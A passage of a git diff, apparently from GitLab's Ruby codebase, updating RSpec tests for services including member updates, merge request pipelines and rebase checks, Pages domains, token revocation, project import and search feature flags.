- expect { destroy_member }.not_to change { group_project.members.count }
+ it_behaves_like 'deletes the member without using a lock' do
+ let(:entity) { group_project }
+ end
+ end
+ end
+
+ context 'deleting project memebrs that are not owners' do
+ let!(:member_to_delete) { group_project.add_developer(member_user) }
+
+ it_behaves_like 'deletes the member without using a lock' do
+ let(:entity) { group_project }
+ end
end
end
end
diff --git a/spec/services/members/update_service_spec.rb b/spec/services/members/update_service_spec.rb
index eb8fae03c39..8a7f9a84c77 100644
--- a/spec/services/members/update_service_spec.rb
+++ b/spec/services/members/update_service_spec.rb
@@ -14,10 +14,7 @@ RSpec.describe Members::UpdateService do
let(:members) { source.members_and_requesters.where(user_id: member_users).to_a }
let(:update_service) { described_class.new(current_user, params) }
let(:params) { { access_level: access_level } }
- let(:updated_members) do
- result = subject
- Array.wrap(result[:members] || result[:member])
- end
+ let(:updated_members) { subject[:members] }
before do
member_users.first.tap do |member_user|
@@ -255,40 +252,6 @@ RSpec.describe Members::UpdateService do
end
end
- context 'when :bulk_update_membership_roles feature flag is disabled' do
- let(:member) { source.members_and_requesters.find_by!(user_id: member_user1.id) }
- let(:members) { [member] }
-
- subject { update_service.execute(member, permission: permission) }
-
- shared_examples 'a service returning an error' do
- before do
- allow(member).to receive(:save) do
- member.errors.add(:user_id)
- member.errors.add(:access_level)
- end
- .and_return(false)
- end
-
- it_behaves_like 'returns error status when params are invalid'
-
- it 'returns the error' do
- response = subject
-
- expect(response[:status]).to eq(:error)
- expect(response[:message]).to eq('User is invalid and Access level is invalid')
- end
- end
-
- before do
- stub_feature_flags(bulk_update_membership_roles: false)
- end
-
- it_behaves_like 'current user cannot update the given members'
- it_behaves_like 'updating a project'
- it_behaves_like 'updating a group'
- end
-
subject { update_service.execute(members, permission: permission) }
shared_examples 'a service returning an error' do
@@ -326,15 +289,14 @@ RSpec.describe Members::UpdateService do
it_behaves_like 'updating a group'
context 'with a single member' do
- let(:member) { create(:group_member, group: group) }
- let(:members) { member }
+ let(:members) { create(:group_member, group: group) }
before do
group.add_owner(current_user)
end
it 'returns the correct response' do
- expect(subject[:member]).to eq(member)
+ expect(subject[:members]).to contain_exactly(members)
end
end
diff --git a/spec/services/merge_requests/base_service_spec.rb b/spec/services/merge_requests/base_service_spec.rb
index 6eeba3029ae..bd907ba6015 100644
--- a/spec/services/merge_requests/base_service_spec.rb
+++ b/spec/services/merge_requests/base_service_spec.rb
@@ -2,7 +2,15 @@
require 'spec_helper'
-RSpec.describe MergeRequests::BaseService do
+module MergeRequests
+ class ExampleService < MergeRequests::BaseService
+ def execute(merge_request, async: false, allow_duplicate: false)
+ create_pipeline_for(merge_request, current_user, async: async, allow_duplicate: allow_duplicate)
+ end
+ end
+end
+
+RSpec.describe MergeRequests::BaseService, feature_category: :code_review_workflow do
include ProjectForksHelper
let_it_be(:project) { create(:project, :repository) }
@@ -57,4 +65,62 @@ RSpec.describe MergeRequests::BaseService do
it_behaves_like 'does not enqueue Jira sync worker'
end
end
+
+ describe `#create_pipeline_for` do
+ let_it_be(:merge_request) { create(:merge_request) }
+
+ subject { MergeRequests::ExampleService.new(project: project, current_user: project.first_owner, params: params) }
+
+ context 'async: false' do
+ it 'creates a pipeline directly' do
+ expect(MergeRequests::CreatePipelineService)
+ .to receive(:new)
+ .with(hash_including(project: project, current_user: project.first_owner, params: { allow_duplicate: false }))
+ .and_call_original
+ expect(MergeRequests::CreatePipelineWorker).not_to receive(:perform_async)
+
+ subject.execute(merge_request, async: false)
+ end
+
+ context 'allow_duplicate: true' do
+ it 'passes :allow_duplicate as true' do
+ expect(MergeRequests::CreatePipelineService)
+ .to receive(:new)
+ .with(hash_including(project: project, current_user: project.first_owner, params: { allow_duplicate: true }))
+ .and_call_original
+ expect(MergeRequests::CreatePipelineWorker).not_to receive(:perform_async)
+
+ subject.execute(merge_request, async: false, allow_duplicate: true)
+ end
+ end
+ end
+
+ context 'async: true' do
+ it 'enques a CreatePipelineWorker' do
+ expect(MergeRequests::CreatePipelineService).not_to receive(:new)
+ expect(MergeRequests::CreatePipelineWorker)
+ .to receive(:perform_async)
+ .with(project.id, project.first_owner.id, merge_request.id, { "allow_duplicate" => false })
+ .and_call_original
+
+ Sidekiq::Testing.fake! do
+ expect { subject.execute(merge_request, async: true) }.to change(MergeRequests::CreatePipelineWorker.jobs, :size).by(1)
+ end
+ end
+
+ context 'allow_duplicate: true' do
+ it 'passes :allow_duplicate as true' do
+ expect(MergeRequests::CreatePipelineService).not_to receive(:new)
+ expect(MergeRequests::CreatePipelineWorker)
+ .to receive(:perform_async)
+ .with(project.id, project.first_owner.id, merge_request.id, { "allow_duplicate" => true })
+ .and_call_original
+
+ Sidekiq::Testing.fake! do
+ expect { subject.execute(merge_request, async: true, allow_duplicate: true) }.to change(MergeRequests::CreatePipelineWorker.jobs, :size).by(1)
+ end
+ end
+ end
+ end
+ end
end
diff --git a/spec/services/merge_requests/rebase_service_spec.rb b/spec/services/merge_requests/rebase_service_spec.rb
index e7aa6e74246..316f20d8276 100644
--- a/spec/services/merge_requests/rebase_service_spec.rb
+++ b/spec/services/merge_requests/rebase_service_spec.rb
@@ -24,6 +24,45 @@ RSpec.describe MergeRequests::RebaseService do
project.add_maintainer(user)
end
+ describe '#validate' do
+ subject { service.validate(merge_request) }
+
+ it { is_expected.to be_success }
+
+ context 'when source branch does not exist' do
+ before do
+ merge_request.update!(source_branch: 'does_not_exist')
+ end
+
+ it 'returns an error' do
+ is_expected.to be_error
+ expect(subject.message).to eq('Source branch does not exist')
+ end
+ end
+
+ context 'when user has no permissions to rebase' do
+ before do
+ project.add_guest(user)
+ end
+
+ it 'returns an error' do
+ is_expected.to be_error
+ expect(subject.message).to eq('Cannot push to source branch')
+ end
+ end
+
+ context 'when branch is protected' do
+ before do
+ create(:protected_branch, project: project, name: merge_request.source_branch, allow_force_push: false)
+ end
+
+ it 'returns an error' do
+ is_expected.to be_error
+ expect(subject.message).to eq('Source branch is protected from force push')
+ end
+ end
+ end
+
describe '#execute' do
shared_examples 'sequence of failure and success' do
it 'properly clears the error message' do
diff --git a/spec/services/merge_requests/refresh_service_spec.rb b/spec/services/merge_requests/refresh_service_spec.rb
index 5174ceaaa82..0814942b6b7 100644
--- a/spec/services/merge_requests/refresh_service_spec.rb
+++ b/spec/services/merge_requests/refresh_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe MergeRequests::RefreshService do
+RSpec.describe MergeRequests::RefreshService, feature_category: :code_review_workflow do
include ProjectForksHelper
include UserHelpers
@@ -138,7 +138,7 @@ RSpec.describe MergeRequests::RefreshService do
refresh_service.execute(@oldrev, @newrev, 'refs/heads/master')
expect { refresh_service.execute(@oldrev, @newrev, 'refs/heads/master') }.to change {
- refresh_service.instance_variable_get("@source_merge_requests").first.merge_request_diff
+ refresh_service.instance_variable_get(:@source_merge_requests).first.merge_request_diff
}
end
@@ -799,7 +799,7 @@ RSpec.describe MergeRequests::RefreshService do
it 'does not mark as draft based on commits that do not belong to an MR' do
allow(refresh_service).to receive(:find_new_commits)
- refresh_service.instance_variable_set("@commits",
+ refresh_service.instance_variable_set(:@commits,
[
double(
id: 'aaaaaaa',
diff --git a/spec/services/merge_requests/update_service_spec.rb b/spec/services/merge_requests/update_service_spec.rb
index da78f86c7c8..344d93fc5ca 100644
--- a/spec/services/merge_requests/update_service_spec.rb
+++ b/spec/services/merge_requests/update_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe MergeRequests::UpdateService, :mailer do
+RSpec.describe MergeRequests::UpdateService, :mailer, feature_category: :code_review_workflow do
include ProjectForksHelper
let(:group) { create(:group, :public) }
@@ -479,6 +479,16 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
end
+ shared_examples_for "creates a new pipeline" do
+ it "creates a new pipeline" do
+ expect(MergeRequests::CreatePipelineWorker)
+ .to receive(:perform_async)
+ .with(project.id, user.id, merge_request.id, { "allow_duplicate" => true })
+
+ update_merge_request(target_branch: new_target_branch)
+ end
+ end
+
shared_examples_for 'correct merge behavior' do
let(:opts) do
{
@@ -784,7 +794,7 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
end
end
- context 'when the target branch change' do
+ context 'when the target branch changes' do
it 'calls MergeRequests::ResolveTodosService#async_execute' do
expect_next_instance_of(MergeRequests::ResolveTodosService, merge_request, user) do |service|
expect(service).to receive(:async_execute)
@@ -799,6 +809,10 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
update_merge_request({ target_branch: "target" })
end
+
+ it_behaves_like "creates a new pipeline" do
+ let(:new_target_branch) { "target" }
+ end
end
context 'when auto merge is enabled and target branch changed' do
@@ -813,6 +827,10 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
update_merge_request({ target_branch: 'target' })
end
+
+ it_behaves_like "creates a new pipeline" do
+ let(:new_target_branch) { "target" }
+ end
end
end
@@ -1237,6 +1255,10 @@ RSpec.describe MergeRequests::UpdateService, :mailer do
expect { update_merge_request(target_branch: 'master', target_branch_was_deleted: true) }
.to change { merge_request.reload.target_branch }.from('mr-a').to('master')
end
+
+ it_behaves_like "creates a new pipeline" do
+ let(:new_target_branch) { "target" }
+ end
end
it_behaves_like 'issuable record that supports quick actions' do
diff --git a/spec/services/ml/experiment_tracking/candidate_repository_spec.rb b/spec/services/ml/experiment_tracking/candidate_repository_spec.rb
index ff3b295d185..e3c05178025 100644
--- a/spec/services/ml/experiment_tracking/candidate_repository_spec.rb
+++ b/spec/services/ml/experiment_tracking/candidate_repository_spec.rb
@@ -31,17 +31,37 @@ RSpec.describe ::Ml::ExperimentTracking::CandidateRepository do
end
describe '#create!' do
- subject { repository.create!(experiment, 1234, [{ key: 'hello', value: 'world' }]) }
+ let(:tags) { [{ key: 'hello', value: 'world' }] }
+ let(:name) { 'some_candidate' }
+
+ subject { repository.create!(experiment, 1234, tags, name) }
it 'creates the candidate' do
expect(subject.start_time).to eq(1234)
expect(subject.iid).not_to be_nil
expect(subject.end_time).to be_nil
+ expect(subject.name).to eq('some_candidate')
end
it 'creates with tag' do
expect(subject.metadata.length).to eq(1)
end
+
+ context 'when name is passed as tag' do
+ let(:tags) { [{ key: 'mlflow.runName', value: 'blah' }] }
+
+ it 'ignores if name is not nil' do
+ expect(subject.name).to eq('some_candidate')
+ end
+
+ context 'when name is nil' do
+ let(:name) { nil }
+
+ it 'sets the mlflow.runName as candidate name' do
+ expect(subject.name).to eq('blah')
+ end
+ end
+ end
end
describe '#update' do
diff --git a/spec/services/notes/create_service_spec.rb b/spec/services/notes/create_service_spec.rb
index 2f1c5a5b0f3..22606cc2461 100644
--- a/spec/services/notes/create_service_spec.rb
+++ b/spec/services/notes/create_service_spec.rb
@@ -18,6 +18,10 @@ RSpec.describe Notes::CreateService do
end
context "valid params" do
+ it_behaves_like 'does not trigger GraphQL subscription mergeRequestMergeStatusUpdated' do
+ let(:action) { note }
+ end
+
it 'returns a valid note' do
expect(note).to be_valid
end
@@ -230,6 +234,10 @@ RSpec.describe Notes::CreateService do
confidential: false)
end
+ it_behaves_like 'triggers GraphQL subscription mergeRequestMergeStatusUpdated' do
+ let(:action) { described_class.new(project_with_repo, user, new_opts).execute }
+ end
+
it 'note is associated with a note diff file' do
MergeRequests::MergeToRefService.new(project: merge_request.project, current_user: merge_request.author).execute(merge_request)
@@ -248,6 +256,16 @@ RSpec.describe Notes::CreateService do
end
end
+ context 'when skip_merge_status_trigger execute option is set to true' do
+ it_behaves_like 'does not trigger GraphQL subscription mergeRequestMergeStatusUpdated' do
+ let(:action) do
+ described_class
+ .new(project_with_repo, user, new_opts)
+ .execute(skip_merge_status_trigger: true)
+ end
+ end
+ end
+
it 'does not track ipynb note usage data' do
expect(::Gitlab::UsageDataCounters::IpynbDiffActivityCounter).not_to receive(:note_created)
diff --git a/spec/services/notification_service_spec.rb b/spec/services/notification_service_spec.rb
index 1ca14cd430b..1ad9234c939 100644
--- a/spec/services/notification_service_spec.rb
+++ b/spec/services/notification_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe NotificationService, :mailer do
+RSpec.describe NotificationService, :mailer, feature_category: :team_planning do
include EmailSpec::Matchers
include ExternalAuthorizationServiceHelpers
include NotificationHelpers
@@ -337,11 +337,12 @@ RSpec.describe NotificationService, :mailer do
describe '#access_token_expired' do
let_it_be(:user) { create(:user) }
+ let_it_be(:pat) { create(:personal_access_token, user: user) }
- subject { notification.access_token_expired(user) }
+ subject { notification.access_token_expired(user, pat.name) }
it 'sends email to the token owner' do
- expect { subject }.to have_enqueued_email(user, mail: "access_token_expired_email")
+ expect { subject }.to have_enqueued_email(user, pat.name, mail: "access_token_expired_email")
end
context 'when user is not allowed to receive notifications' do
@@ -350,7 +351,7 @@ RSpec.describe NotificationService, :mailer do
end
it 'does not send email to the token owner' do
- expect { subject }.not_to have_enqueued_email(user, mail: "access_token_expired_email")
+ expect { subject }.not_to have_enqueued_email(user, pat.name, mail: "access_token_expired_email")
end
end
end
diff --git a/spec/services/packages/conan/search_service_spec.rb b/spec/services/packages/conan/search_service_spec.rb
index 55dcdfe646d..9e8be164d8c 100644
--- a/spec/services/packages/conan/search_service_spec.rb
+++ b/spec/services/packages/conan/search_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Packages::Conan::SearchService do
+RSpec.describe Packages::Conan::SearchService, feature_category: :package_registry do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :public) }
diff --git a/spec/services/pages_domains/create_service_spec.rb b/spec/services/pages_domains/create_service_spec.rb
index cac941fb134..4dd9bd8f3bb 100644
--- a/spec/services/pages_domains/create_service_spec.rb
+++ b/spec/services/pages_domains/create_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ::PagesDomains::CreateService do
+RSpec.describe ::PagesDomains::CreateService, feature_category: :pages do
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :in_subgroup) }
@@ -37,6 +37,7 @@ RSpec.describe ::PagesDomains::CreateService do
project_id: project.id,
namespace_id: project.namespace.id,
root_namespace_id: project.root_namespace.id,
+ domain_id: kind_of(Numeric),
domain: domain
)
diff --git a/spec/services/pages_domains/delete_service_spec.rb b/spec/services/pages_domains/delete_service_spec.rb
index 5f98fe3c7f7..43d59961637 100644
--- a/spec/services/pages_domains/delete_service_spec.rb
+++ b/spec/services/pages_domains/delete_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe ::PagesDomains::DeleteService do
+RSpec.describe ::PagesDomains::DeleteService, feature_category: :pages do
let_it_be(:user) { create(:user) }
let_it_be(:pages_domain) { create(:pages_domain, :with_project) }
@@ -39,6 +39,7 @@ RSpec.describe ::PagesDomains::DeleteService do
project_id: pages_domain.project.id,
namespace_id: pages_domain.project.namespace.id,
root_namespace_id: pages_domain.project.root_namespace.id,
+ domain_id: pages_domain.id,
domain: pages_domain.domain
)
end
diff --git a/spec/services/pages_domains/retry_acme_order_service_spec.rb b/spec/services/pages_domains/retry_acme_order_service_spec.rb
index 3152e05f2f1..4860d57475b 100644
--- a/spec/services/pages_domains/retry_acme_order_service_spec.rb
+++ b/spec/services/pages_domains/retry_acme_order_service_spec.rb
@@ -18,6 +18,7 @@ RSpec.describe PagesDomains::RetryAcmeOrderService, feature_category: :pages do
project_id: project.id,
namespace_id: project.namespace.id,
root_namespace_id: project.root_namespace.id,
+ domain_id: domain.id,
domain: domain.domain
)
end
@@ -31,6 +32,7 @@ RSpec.describe PagesDomains::RetryAcmeOrderService, feature_category: :pages do
project_id: project.id,
namespace_id: project.namespace.id,
root_namespace_id: project.root_namespace.id,
+ domain_id: domain.id,
domain: domain.domain
)
end
diff --git a/spec/services/pages_domains/update_service_spec.rb b/spec/services/pages_domains/update_service_spec.rb
index f6558f56422..c317a2c68f6 100644
--- a/spec/services/pages_domains/update_service_spec.rb
+++ b/spec/services/pages_domains/update_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe PagesDomains::UpdateService do
+RSpec.describe PagesDomains::UpdateService, feature_category: :pages do
let_it_be(:user) { create(:user) }
let_it_be(:pages_domain) { create(:pages_domain, :with_project) }
@@ -40,6 +40,7 @@ RSpec.describe PagesDomains::UpdateService do
project_id: pages_domain.project.id,
namespace_id: pages_domain.project.namespace.id,
root_namespace_id: pages_domain.project.root_namespace.id,
+ domain_id: pages_domain.id,
domain: pages_domain.domain
)
end
diff --git a/spec/services/personal_access_tokens/revoke_service_spec.rb b/spec/services/personal_access_tokens/revoke_service_spec.rb
index 562d6017405..a9b4df9749f 100644
--- a/spec/services/personal_access_tokens/revoke_service_spec.rb
+++ b/spec/services/personal_access_tokens/revoke_service_spec.rb
@@ -71,26 +71,30 @@ RSpec.describe PersonalAccessTokens::RevokeService do
let_it_be(:current_user) { nil }
context 'when source is valid' do
- let_it_be(:source) { 'secret_detection' }
+ let_it_be(:source) { :secret_detection }
let_it_be(:token) { create(:personal_access_token) }
it_behaves_like 'a successfully revoked token' do
- let(:revoked_by) { 'secret_detection' }
+ let(:revoked_by) { :secret_detection }
end
end
context 'when source is invalid' do
- let_it_be(:source) { 'external_request' }
+ let_it_be(:source) { :external_request }
let_it_be(:token) { create(:personal_access_token) }
- it_behaves_like 'an unsuccessfully revoked token'
+ it 'raises ArgumentError' do
+ expect { subject }.to raise_error ArgumentError
+ end
end
context 'when source is missing' do
let_it_be(:source) { nil }
let_it_be(:token) { create(:personal_access_token) }
- it_behaves_like 'an unsuccessfully revoked token'
+ it 'raises ArgumentError' do
+ expect { subject }.to raise_error ArgumentError
+ end
end
end
end
diff --git a/spec/services/projects/create_service_spec.rb b/spec/services/projects/create_service_spec.rb
index f42ab198a04..f85a8eda7ee 100644
--- a/spec/services/projects/create_service_spec.rb
+++ b/spec/services/projects/create_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Projects::CreateService, '#execute' do
+RSpec.describe Projects::CreateService, '#execute', feature_category: :projects do
include ExternalAuthorizationServiceHelpers
let(:user) { create :user }
@@ -995,6 +995,7 @@ RSpec.describe Projects::CreateService, '#execute' do
where(:shared_runners_setting, :desired_config_for_new_project, :expected_result_for_project) do
Namespace::SR_ENABLED | nil | true
Namespace::SR_DISABLED_WITH_OVERRIDE | nil | false
+ Namespace::SR_DISABLED_AND_OVERRIDABLE | nil | false
Namespace::SR_DISABLED_AND_UNOVERRIDABLE | nil | false
end
@@ -1017,6 +1018,8 @@ RSpec.describe Projects::CreateService, '#execute' do
Namespace::SR_ENABLED | false | false
Namespace::SR_DISABLED_WITH_OVERRIDE | false | false
Namespace::SR_DISABLED_WITH_OVERRIDE | true | true
+ Namespace::SR_DISABLED_AND_OVERRIDABLE | false | false
+ Namespace::SR_DISABLED_AND_OVERRIDABLE | true | true
Namespace::SR_DISABLED_AND_UNOVERRIDABLE | false | false
end
diff --git a/spec/services/projects/import_service_spec.rb b/spec/services/projects/import_service_spec.rb
index bb11b2e617e..38ab7b6e2ee 100644
--- a/spec/services/projects/import_service_spec.rb
+++ b/spec/services/projects/import_service_spec.rb
@@ -373,6 +373,28 @@ RSpec.describe Projects::ImportService do
expect(result[:status]).to eq(:success)
end
+
+ context 'when host resolves to an IPv6 address' do
+ before do
+ project.import_url = 'https://gitlab.com/gitlab-org/gitlab-development-kit'
+
+ allow(Gitlab::UrlBlocker).to receive(:validate!)
+ .with(project.import_url, ports: Project::VALID_IMPORT_PORTS, schemes: Project::VALID_IMPORT_PROTOCOLS, dns_rebind_protection: true)
+ .and_return([Addressable::URI.parse('https://[2606:4700:90:0:f22e:fbec:5bed:a9b9]/gitlab-org/gitlab-development-kit'), 'gitlab.com'])
+ end
+
+ it 'imports repository with url and additional resolved bare IPv6 address' do
+ expect(project.repository).to receive(:import_repository).with('https://gitlab.com/gitlab-org/gitlab-development-kit', resolved_address: '2606:4700:90:0:f22e:fbec:5bed:a9b9').and_return(true)
+
+ expect_next_instance_of(Projects::LfsPointers::LfsImportService) do |service|
+ expect(service).to receive(:execute).and_return(status: :success)
+ end
+
+ result = subject.execute
+
+ expect(result[:status]).to eq(:success)
+ end
+ end
end
context 'when http url is provided' do
diff --git a/spec/services/projects/refresh_build_artifacts_size_statistics_service_spec.rb b/spec/services/projects/refresh_build_artifacts_size_statistics_service_spec.rb
index a3cff345f68..62330441d2f 100644
--- a/spec/services/projects/refresh_build_artifacts_size_statistics_service_spec.rb
+++ b/spec/services/projects/refresh_build_artifacts_size_statistics_service_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe Projects::RefreshBuildArtifactsSizeStatisticsService, :clean_gitl
let(:service) { described_class.new }
describe '#execute' do
- let_it_be(:project) { create(:project) }
+ let_it_be(:project, reload: true) { create(:project) }
let_it_be(:artifact_1) { create(:ci_job_artifact, project: project, size: 1, created_at: 14.days.ago) }
let_it_be(:artifact_2) { create(:ci_job_artifact, project: project, size: 2, created_at: 13.days.ago) }
@@ -29,6 +29,7 @@ RSpec.describe Projects::RefreshBuildArtifactsSizeStatisticsService, :clean_gitl
let(:now) { Time.zone.now }
let(:statistics) { project.statistics }
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 30) }
around do |example|
freeze_time { example.run }
@@ -36,17 +37,19 @@ RSpec.describe Projects::RefreshBuildArtifactsSizeStatisticsService, :clean_gitl
before do
stub_const("#{described_class}::BATCH_SIZE", 3)
+ stub_const("#{described_class}::REFRESH_INTERVAL_SECONDS", 0)
stats = create(:project_statistics, project: project, build_artifacts_size: 120)
- stats.increment_counter(:build_artifacts_size, 30)
+ stats.increment_counter(:build_artifacts_size, increment)
end
it 'resets the build artifacts size stats' do
- expect { service.execute }.to change { project.statistics.reload.build_artifacts_size }.to(0)
+ expect { service.execute }.to change { statistics.reload.build_artifacts_size }.from(120).to(0)
end
- it 'increments the counter attribute by the total size of the current batch of artifacts' do
- expect { service.execute }.to change { statistics.counter(:build_artifacts_size).get }.to(3)
+ it 'resets the buffered counter' do
+ expect { service.execute }
+ .to change { Gitlab::Counters::BufferedCounter.new(statistics, :build_artifacts_size).get }.to(0)
end
it 'updates the last_job_artifact_id to the ID of the last artifact from the batch' do
@@ -56,7 +59,7 @@ RSpec.describe Projects::RefreshBuildArtifactsSizeStatisticsService, :clean_gitl
it 'updates the last_job_artifact_id to the ID of the last artifact from the project' do
expect { service.execute }
.to change { refresh.reload.last_job_artifact_id_on_refresh_start.to_i }
- .to(project.job_artifacts.last.id)
+ .to(project.job_artifacts.last.id)
end
it 'requeues the refresh job' do
@@ -106,9 +109,10 @@ RSpec.describe Projects::RefreshBuildArtifactsSizeStatisticsService, :clean_gitl
)
end
- it 'deletes the refresh record' do
+ it 'schedules the refresh to be finalized' do
service.execute
- expect(Projects::BuildArtifactsSizeRefresh.where(id: refresh.id)).not_to exist
+
+ expect(refresh.reload.finalizing?).to be(true)
end
end
end
diff --git a/spec/services/projects/transfer_service_spec.rb b/spec/services/projects/transfer_service_spec.rb
index 4d75786a4c3..5171836f917 100644
--- a/spec/services/projects/transfer_service_spec.rb
+++ b/spec/services/projects/transfer_service_spec.rb
@@ -535,8 +535,8 @@ RSpec.describe Projects::TransferService do
where(:project_shared_runners_enabled, :shared_runners_setting, :expected_shared_runners_enabled) do
true | :disabled_and_unoverridable | false
false | :disabled_and_unoverridable | false
- true | :disabled_with_override | true
- false | :disabled_with_override | false
+ true | :disabled_and_overridable | true
+ false | :disabled_and_overridable | false
true | :shared_runners_enabled | true
false | :shared_runners_enabled | false
end
diff --git a/spec/services/repositories/changelog_service_spec.rb b/spec/services/repositories/changelog_service_spec.rb
index 47ebd55022f..42b586637ad 100644
--- a/spec/services/repositories/changelog_service_spec.rb
+++ b/spec/services/repositories/changelog_service_spec.rb
@@ -79,7 +79,7 @@ RSpec.describe Repositories::ChangelogService do
recorder = ActiveRecord::QueryRecorder.new { service.execute(commit_to_changelog: commit_to_changelog) }
changelog = project.repository.blob_at('master', 'CHANGELOG.md')&.data
- expect(recorder.count).to eq(10)
+ expect(recorder.count).to eq(12)
expect(changelog).to include('Title 1', 'Title 2')
end
diff --git a/spec/services/search_service_spec.rb b/spec/services/search_service_spec.rb
index 90e80a45515..d11fc377d83 100644
--- a/spec/services/search_service_spec.rb
+++ b/spec/services/search_service_spec.rb
@@ -471,4 +471,32 @@ RSpec.describe SearchService, feature_category: :global_search do
end
end
end
+
+ describe '.global_search_enabled_for_scope?' do
+ using RSpec::Parameterized::TableSyntax
+ let(:search) { 'foobar' }
+
+ where(:scope, :feature_flag, :enabled, :expected) do
+ 'blobs' | :global_search_code_tab | false | false
+ 'blobs' | :global_search_code_tab | true | true
+ 'commits' | :global_search_commits_tab | false | false
+ 'commits' | :global_search_commits_tab | true | true
+ 'issues' | :global_search_issues_tab | false | false
+ 'issues' | :global_search_issues_tab | true | true
+ 'merge_requests' | :global_search_merge_requests_tab | false | false
+ 'merge_requests' | :global_search_merge_requests_tab | true | true
+ 'wiki_blobs' | :global_search_wiki_tab | false | false
+ 'wiki_blobs' | :global_search_wiki_tab | true | true
+ 'users' | :global_search_users_tab | false | false
+ 'users' | :global_search_users_tab | true | true
+ 'random' | :random | nil | true
+ end
+
+ with_them do
+ it 'returns false when feature_flag is not enabled and returns true when feature_flag is enabled' do
+ stub_feature_flags(feature_flag => enabled)
+ expect(subject.global_search_enabled_for_scope?).to eq expected
+ end
+ end
+ end
end
diff --git a/spec/services/security/ci_configuration/dependency_scanning_create_service_spec.rb b/spec/services/security/ci_configuration/dependency_scanning_create_service_spec.rb
new file mode 100644
index 00000000000..719a2cf24e9
--- /dev/null
+++ b/spec/services/security/ci_configuration/dependency_scanning_create_service_spec.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Security::CiConfiguration::DependencyScanningCreateService, :snowplow,
+ feature_category: :dependency_scanning do
+ subject(:result) { described_class.new(project, user).execute }
+
+ let(:branch_name) { 'set-dependency-scanning-config-1' }
+
+ let(:snowplow_event) do
+ {
+ category: 'Security::CiConfiguration::DependencyScanningCreateService',
+ action: 'create',
+ label: ''
+ }
+ end
+
+ include_examples 'services security ci configuration create service', true
+end
diff --git a/spec/services/security/ci_configuration/sast_create_service_spec.rb b/spec/services/security/ci_configuration/sast_create_service_spec.rb
index c7e732dc79a..1e6dc367146 100644
--- a/spec/services/security/ci_configuration/sast_create_service_spec.rb
+++ b/spec/services/security/ci_configuration/sast_create_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Security::CiConfiguration::SastCreateService, :snowplow do
+RSpec.describe Security::CiConfiguration::SastCreateService, :snowplow, feature_category: :sast do
subject(:result) { described_class.new(project, user, params).execute }
let(:branch_name) { 'set-sast-config-1' }
diff --git a/spec/services/service_ping/submit_service_ping_service_spec.rb b/spec/services/service_ping/submit_service_ping_service_spec.rb
index 37231307156..b02f1e84d25 100644
--- a/spec/services/service_ping/submit_service_ping_service_spec.rb
+++ b/spec/services/service_ping/submit_service_ping_service_spec.rb
@@ -305,13 +305,20 @@ RSpec.describe ServicePing::SubmitService do
stub_response(body: with_conv_index_params)
end
- let(:metric_double) { instance_double(Gitlab::Usage::ServicePing::LegacyMetricTimingDecorator, duration: 123) }
+ let(:metric_double) do
+ instance_double(Gitlab::Usage::ServicePing::LegacyMetricMetadataDecorator, duration: 123, error: nil)
+ end
+
+ let(:metric_double_with_error) do
+ instance_double(Gitlab::Usage::ServicePing::LegacyMetricMetadataDecorator, duration: 123, error: 'Error')
+ end
+
let(:usage_data) do
{
uuid: 'uuid',
metric_a: metric_double,
metric_group: {
- metric_b: metric_double
+ metric_b: metric_double_with_error
},
metric_without_timing: "value",
recorded_at: Time.current
@@ -324,7 +331,7 @@ RSpec.describe ServicePing::SubmitService do
uuid: 'uuid',
metrics: [
{ name: 'metric_a', time_elapsed: 123 },
- { name: 'metric_group.metric_b', time_elapsed: 123 }
+ { name: 'metric_group.metric_b', time_elapsed: 123, error: 'Error' }
]
}
}
diff --git a/spec/services/service_response_spec.rb b/spec/services/service_response_spec.rb
index 2d70979dd3a..58dd2fd4c5e 100644
--- a/spec/services/service_response_spec.rb
+++ b/spec/services/service_response_spec.rb
@@ -178,4 +178,40 @@ RSpec.describe ServiceResponse do
end
end
end
+
+ describe '#log_and_raise_exception' do
+ context 'when successful' do
+ let(:response) { described_class.success }
+
+ it 'returns self' do
+ expect(response.log_and_raise_exception).to be response
+ end
+ end
+
+ context 'when an error' do
+ let(:response) { described_class.error(message: 'bang') }
+
+ it 'logs' do
+ expect(::Gitlab::ErrorTracking).to receive(:log_and_raise_exception)
+ .with(StandardError.new('bang'), {})
+
+ response.log_and_raise_exception
+ end
+
+ it 'allows specification of error class' do
+ error = Class.new(StandardError)
+ expect(::Gitlab::ErrorTracking).to receive(:log_and_raise_exception)
+ .with(error.new('bang'), {})
+
+ response.log_and_raise_exception(as: error)
+ end
+
+ it 'allows extra data for tracking' do
+ expect(::Gitlab::ErrorTracking).to receive(:log_and_raise_exception)
+ .with(StandardError.new('bang'), { foo: 1, bar: 2 })
+
+ response.log_and_raise_exception(foo: 1, bar: 2)
+ end
+ end
+ end
end
diff --git a/spec/services/test_hooks/project_service_spec.rb b/spec/services/test_hooks/project_service_spec.rb
index d97a6f15270..13f863dbbdb 100644
--- a/spec/services/test_hooks/project_service_spec.rb
+++ b/spec/services/test_hooks/project_service_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe TestHooks::ProjectService do
context 'hook with not implemented test' do
it 'returns error message' do
expect(hook).not_to receive(:execute)
- expect(service.execute).to include({ status: :error, message: 'Testing not available for this hook' })
+ expect(service.execute).to have_attributes(status: :error, message: 'Testing not available for this hook')
end
end
